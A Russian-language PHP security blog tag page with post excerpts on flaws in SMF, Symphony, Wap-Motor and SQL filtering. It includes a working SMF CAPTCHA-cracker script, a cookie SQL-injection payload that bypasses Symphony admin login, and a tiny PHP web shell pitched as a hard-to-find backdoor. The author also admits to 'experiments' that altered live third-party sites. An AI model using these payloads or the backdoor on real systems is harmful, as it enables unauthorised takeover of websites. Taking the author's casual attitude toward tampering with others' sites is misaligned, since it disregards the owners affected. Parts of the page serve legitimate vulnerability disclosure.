Tag: php

  • Уязвимости в Simple Machines Forum <= 1.1.5

    Обнаружил уязвимость в Simple Machines Forum <= 1.1.5, связанную с предсказуемостью кода подтверждения для смены пароля, а также CAPTCHA в модуле регистрации. Оба механизма используют в своем алгоритме функцию rand(), о недостатках которой я писал в прошлой статье.

    Сброс пароля администратора

    SMF выявляет случайное число, сгенерированное с помощью rand(), в виде md5-хэша в самой форме восстановления пароля (hidden параметр sc):

    <?php
    $_SESSION['rand_code'] = md5(session_id() . rand());
    $sc = $_SESSION['rand_code'];
    ?>

    Активационный ключ генерируется следующим образом:

    <?php
    $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
    ?>

    Так как максимальное значение случайного числа на win32 является 32767 и идентификатор сессии известен, то перебором md5-хэша можно получить случайное число. В win32 любое число, сгенерированное с помощью rand(), становится сидом для следующего числа, таким образом можно предугадать все последующие числа и вычислить активационный ключ.

    http://milw0rm.com/exploits/6392

    Вычисление кода CAPTCHA

    SMF выявляет случайное число в модуле регистрации (ссылки на изображения с кодом CAPTCHA):

    <?php
    $context['verificiation_image_href'] = $scripturl . '?action=verificationcode;rand=' . md5(rand());
    ?>

    Сам код CAPTCHA генерируется следующим образом:

    <?php
    $character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
    // Generate a new code.
    $_SESSION['visual_verification_code'] = '';
    for ($i = 0; $i < 5; $i++)
    $_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)];
    ?>

    Функция array_rand() использует внутренний вызов rand(), поэтому определив перебором предыдущее случайное число в ссылках, можно вычислить сам код (опять-таки актуально только для win32).

    <?php
    
    /**
     * Simple Machines Forum <= 1.1.5 CAPTCHA cracker (win32)
     * by Raz0r (http://Raz0r.name/)
     */
    
    $url = "http://localhost/smf/";
    
    $html = file_get_contents("{$url}index.php?action=register");
    $out=array();
    preg_match("@rand=([0-9a-f]+)@i",$html,$out);
    if(isset($out[1])){
    	$rand = bfmd5($out[1]);
    	srand($rand);
    	$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
    	for ($i = 0; $i < 5; $i++) {
    		echo $character_range[array_rand($character_range)];
    	}
    }
    
    function bfmd5($md5) {
    	for($i=0;$i<=32767;$i++){
    		if($md5 == md5($i)) {
    			return $i;
    		}
    	}
    	return false;
    }
    ?>
  • Магия случайных чисел (часть 2)

    Этот пост является продолжением прошлой статьи, в которой шла речь о проблемах генераторов случайных чисел в PHP с примером эксплоита для WordPress через уязвимость в phpBB2. В этот раз рассмотрим интересную особенность случайных чисел, сгенерированных с помощью функции rand(), а также способы защиты от подобного рода атак в своих веб-приложениях.

    (more…)

  • Предсказываем случайные числа в PHP

    Стефан Эссер не перестает меня удивлять: в этот раз в своем блоге он рассказал об особенностях генерации случайных чисел в PHP, которые при особых условиях позволяют предугадывать случайные значения. Его находки открывают возможность для реализации совершенно новых атак – Cross Application Attacks, в основе которых лежит неправильное использование веб-приложениями функций для генерации случайных чисел. При этом одно веб-приложение, не имея полноценных уязвимостей, но обладающее погрешностью в вычислении случайных чисел, открывает дверь для реализации атаки на совершенно другое веб-приложение, находящееся на том же сервере. В качестве примера Стефан описал алгоритм проведения атаки на WordPress через дыру в phpBB2. Так как подтверждение его концепции в виде эксплоита отсутствует, я решил провести собственное исследование и написать рабочий PoC. После нескольких дней тестирования на локальном веб-сервере, я пришел к выводу, что уязвимость действительно имеет место, и ее эксплуатация вполне реальна. В результате мной был написан эксплоит для WordPress <= 2.6.1 посредством phpBB2, позволяющий сменить пароль администратора, не имея доступа к его почтовому ящику.

    (more…)

  • К чему может привести усечение данных в SQL

    Совсем недавно известный эксперт по безопасности Стефан Эссер (Stefan Esser) опубликовал в своем блоге статью, посвященную новой уязвимости, связанной с особенностями сравнения строк и автоматического усечения данных в MySQL. Именно Стефан обнаружил знаменитую дыру zend_hash_del_key_or_index, после чего в Сети появилось множество эксплоитов для популярных веб-приложений. Похоже в этот раз дело грозит обернуться теми же последствиями.

    (more…)

  • Еще раз о правильной фильтрации

    Я уже не раз излагал свои мысли по поводу принципов грамотной фильтрации входящих данных, этот пост будет своеобразным дополнением, подкрепленным живым примером.

    Недавно столкнулся с интересной SQL-инъекцией на одном популярном ресурсе, посвященному взлому и хакингу. С одной стороны, признаки успешно внедренного SQL-кода были явными, однако поведение уязвимого веб-приложения при особых запросах говорило о наличии некой фильтрации на определенные ключевые слова. Например запрос ‘ OR 1=1/* успешно проходил, но, подставив AND вместо OR, я постоянно получал пустую страницу – это, очевидно, следствие возникшей ошибки синтаксиса SQL-запроса. Проанализировав ответы скрипта, я убедился, что, во-первых, проверка на ключевые слова действительно имела место, и, во-вторых, производилась не просто проверка, а вырезание из строки запроса всех совпадений со списком ключевых слов. На PHP это выглядело бы примерно так:

    <?php
    $badwords = array("AND","UNION","SELECT","WHERE","INSERT","UPDATE","DELETE");
    str_replace($badwords,"",$GET['id']);
    ?>

    Обойти такую проверку сущий пустяк.

    (more…)

  • LFI/RFI-уязвимости в Wap-Motor 17.5

    Сайт разработчика: http://visavi.net/
    Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии

    Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:

    <?php
    extract($HTTP_GET_VARS);
    extract($HTTP_POST_VARS);
    extract($HTTP_COOKIE_VARS);
    extract($HTTP_SERVER_VARS);
    extract($HTTP_SESSION_VARS);
    ?>

    На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56):

    <?php
    if(empty($f)){$f='index';}
    echo $p.'/'.$f.'.'.$config_ras;
    $sfx = file($p.'/'.$f.'.'.$config_ras);
    if (!$sfx){
    	echo 'Файл с данными параметрами не найден!';
    }else{
    	include_once $p.'/'.$f.'.'.$config_ras;
    }
    ?>

    Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23):

    <?php
    if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
    ?>

    При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include. (more…)

  • Обход авторизации в Symphony 2 Beta

    Сайт разработчика: http://21degrees.com.au/
    Уязвимые версии: Symphony 2 Beta до revision 5
    Уязвимый код в /symphony/lib/core/class.symphony.php@126-142:

    <?php
    public function isLoggedIn(){
      $un = $this->Cookie->get('username');
      $pw = $this->Cookie->get('pass');
      $id = $this->Database->fetchVar('id', 0, "SELECT `id` FROM `tbl_authors`
        WHERE `username` = '$un' AND `password` = '$pw' LIMIT 1");
      if($id){
        /* [...] */
      }
    /* [...] */
    }
    ?>

    Описание: данные в переменных $un (username) и $pw (password) не проверяются должным образом перед извлечением из массива $_COOKIE, что ведет к SQL-инъекции, позволяющей обойти авторизацию пользователей и получить права администратора. Для удачного осуществления атаки magic_quotes_gpc=off не требуется, так как система убирает все дополнительные слэши сама.
    Эксплоит: sym-[username]=%27+OR+1%3D1%2F%2A (необходимо передать в cookie)

  • Выполнение произвольных команд в Symphony 1.7.01

    Однажды я натолкнулся на Symphony – бесплатную платформу для публикации в web с открытым исходным кодом. Основное достоинство системы – использование XSLT в шаблонах, что является достаточно редким явлением среди платформ подобного рода. Сведений в багтраке по поводу обнаружения уязвимостей в Symphony я не нашел, поэтому без колебаний решил провести пен-тестинг движка с целью выявления какого-нибудь крупного бага. Было найдено несколько уязвимостей, которые в совокупности позволяли совершить произвольное выполнение команд. Выкладывать в багтрак найденные дыры я не стал, однако пару дней назад на официальном форуме Symphony обнаружили, что на многих сайтах с этой CMS появились некоторые изменения. Не скрою, кое-какие эксперименты я проводил. После выявления самими разработчиками некоторых багов в системе и публикации патча, смысла держать эксплоит не нахожу. Подробное описание уязвимостей идет ниже. (more…)

  • Мега релиз: самый короткий шелл =)

    Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 10 байт), серьезно не воспринимать! =) Итак, та-дам:

    <?=@`$c`?>

    Если код показался вам непонятным, то сейчас я постараюсь доступно его объяснить. Прежде всего вместо стандартного <?php … ?> используется <?= … ?>, что эквивалентно <? echo … ?>; требуется включенная опция short_open_tag в php.ini. Для подавления ошибок (так как переменная не инициализирована) используется известный прием: перед выражением ставим @. Собственно выполнение команд реализовано с помощью обратных кавычек (backticks) – довольно хитрый прием, о котором знает далеко не каждый. Например, внедрив строку echo @`$c` в другой скрипт, мы имеем незаметный бэкдор, который очень трудно найти.
    Плюсы моего шелла: размер!
    Минусы: нужны short_open_tag и register_globals

  • PHPIDS. За и против

    IDS (Intrusion Detection System) или система предотвращения вторжений является одним из средств защиты от различных атак. Среди типов IDS можно выделить сетевые и локальные IDS. Сетевая IDS обеспечивает безопасность целой подсети; как правило, она работает на аппаратном уровне, т.е. встроена в маршрутизатор или другие сетевые устройства. Локальная IDS располагается непосредственно на том компьютере, который необходимо защищать от различных атак извне. В этом случае контроль обеспечивается на программном уровне. Многие файрволы и брэндмауэры так или иначе включают в себя модуль IDS, а самой известной системой подобного рода является Snort. Главное назначение IDS – это предотравщение таких атак, как переполнение буфера, сканирование портов, отказ в обслуживании (DoS).

    PHPIDS в этом отношении выделяется среди традиционных систем обнаружения вторжений (more…)